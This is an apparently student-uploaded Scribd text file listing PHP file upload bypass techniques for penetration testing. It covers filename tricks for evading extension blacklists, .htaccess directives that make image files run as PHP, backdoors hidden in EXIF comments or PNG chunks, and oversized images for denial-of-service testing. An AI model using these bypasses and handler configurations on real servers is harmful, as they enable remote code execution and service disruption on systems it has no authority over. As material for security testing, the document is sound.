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PHP File Upload Bypass Techniques

The document discusses various ways to bypass file upload blacklists and execute malicious code on a server, including: uploading files with PHP extensions renamed or embedded in image file extensions like JPG; uploading .htaccess files to enable PHP execution of image files; and adding backdoors to image files using EXIF data or by splitting PHP code into image file chunks. It also mentions testing denial of service attacks through large GIF files or uploading large numbers of small files.

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MECH TE B 21 Atharva Chowkidar
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90 views1 page

PHP File Upload Bypass Techniques

The document discusses various ways to bypass file upload blacklists and execute malicious code on a server, including: uploading files with PHP extensions renamed or embedded in image file extensions like JPG; uploading .htaccess files to enable PHP execution of image files; and adding backdoors to image files using EXIF data or by splitting PHP code into image file chunks. It also mentions testing denial of service attacks through large GIF files or uploading large numbers of small files.

Uploaded by

MECH TE B 21 Atharva Chowkidar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
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upload.

php --- try to upload a simple php file


upload.php.jpeg --- To bypass the blacklist.
upload.jpg.php --- To bypass the blacklist.
upload.php --- and Then Change the content type of the file to image
or jpeg.
upload.php* --- version - 1 2 3 4 5 6 7
upload.PHP --- To bypass The BlackList
upload.PhP --- To bypass The BlackList
upload.pHp --- To bypass The BlackList
upload .htaccess --- By uploading this [jpg,png] files can be executed as
php with milicious code within it.
pixelFlood.jpg --- To test againt the DOS.
frameflood.gif --- upload gif file with 10^10 Frames
Malicious zTXT --- upload UBER.jpg
upload.php [getimagesize() --- Add backdoor in comments using Exiftool and
rename the jpg file
with php so that it will be execute. This Time The
Verification
of server is only limited to contents of the uploaded
file
not on the extension

phppng.png --- backdoor in php chunks


xsspng.png --- backdoor in php chunks

NOTE: If you are not able to execute the .PHP file upload new .htaccess file in the
same directory with data "AddType appilication/x-httpd-php PHP"

setHandler Method [.htaccess]


------------------------------

<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>

AddType Method [.htaccess]


--------------------------

AddType application/x-httpd-php .lol

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